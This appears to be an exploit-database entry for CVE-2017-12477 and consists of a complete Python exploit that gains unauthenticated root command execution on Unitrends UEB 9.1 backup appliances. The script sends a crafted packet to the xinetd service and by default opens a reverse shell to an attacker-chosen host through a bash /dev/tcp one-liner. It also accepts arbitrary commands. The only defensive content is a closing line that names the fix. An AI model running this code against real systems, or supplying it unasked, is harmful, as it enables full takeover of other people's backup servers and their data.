Unitrends UEB 9.1 bpserverd Remote Command Execution



EKU-ID: 6991 CVE: 2017-12477 OSVDB-ID:
Author: Jared Arave Published: 2017-10-10 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Jared Arave, Cale Smith, Benny Husted
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12477
 
import socket
import binascii
import struct
import time
import sys
from optparse import OptionParser
 
print """
###############################################################################
Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6
 
This exploit uses roughly the same process to gain root execution
as does the apache user on the Unitrends appliance. The process is
something like this:
 
1.  Connect to xinetd process (it's usually running on port 1743)
2.  This process will send something like: '?A,Connect36092'
3.  Initiate a second connection to the port specified 
    in the packet from xinetd (36092 in this example)
4.  send a specially crafted packet to xinetd, containing the 
    command to be executed as root
5.  Receive command output from the connection to port 36092
6.  Close both connections
 
NB: Even if you don't strictly need output from your command,
The second connection must still be made for the command
to be executed at all.
###############################################################################
"""
 
# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
      "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"
 
parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
          help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
          help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")
parser.add_option("-x", '--xinetd', dest='xinetd', action="store",
          type="int", default=1743,   
          help="port on which xinetd is running (default: 1743)")
 
(options, args) = parser.parse_args()
 
if options.cmd:
  if (options.lhost or options.lport):
    parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mutually exclusive.\n")
 
  elif not options.rhost:
    parser.error("[!] No remote host specified.\n")
 
elif options.rhost is None or options.lhost is None or options.lport is None:
  parser.print_help()
  sys.exit(1)
 
RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
XINETDPORT = options.xinetd
 
if options.cmd:
  cmd = options.cmd
else:
  cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)
 
def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)
 
print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
 
try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()
 
data = s1.recv(4096)
bpd_port = int(data[-8:-3])
 
print "[+] Connected! Cmd output will come back on {}:{}".format(RHOST, str(bpd_port))
print "[+] Connecting to bpdserverd on {}:{}".format(RHOST, str(bpd_port))
 
try:
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()
 
print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)
 
if (len(cmd) > 240):
  print "[!] This command is long; this might not work."
  print "[!] Maybe try a shorter command..."
 
cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)
 
packet = '\xa5\x52\x00\x2d'
packet += '\x00' * 3
packet += packet_len
packet += '\x00' * 3
packet += '\x01'
packet += '\x00' * 3
packet += '\x4c'
packet += '\x00' * 3
packet += cmd_len
packet += cmd
packet += '\x00' * 3
 
s1.send(packet)
 
print "[+] cmd packet sent!"
print "[+] Waiting for response from {0}:{1}".format(RHOST,str(bpd_port))
 
data = recv_timeout(s2)
 
print "[+] Here's the output -> \n\n"
 
print data
 
print "[+] Closing ports, exiting...."
 
s1.close()
s2.close()
 
# 3. Solution:
# Update to Unitrends UEB 10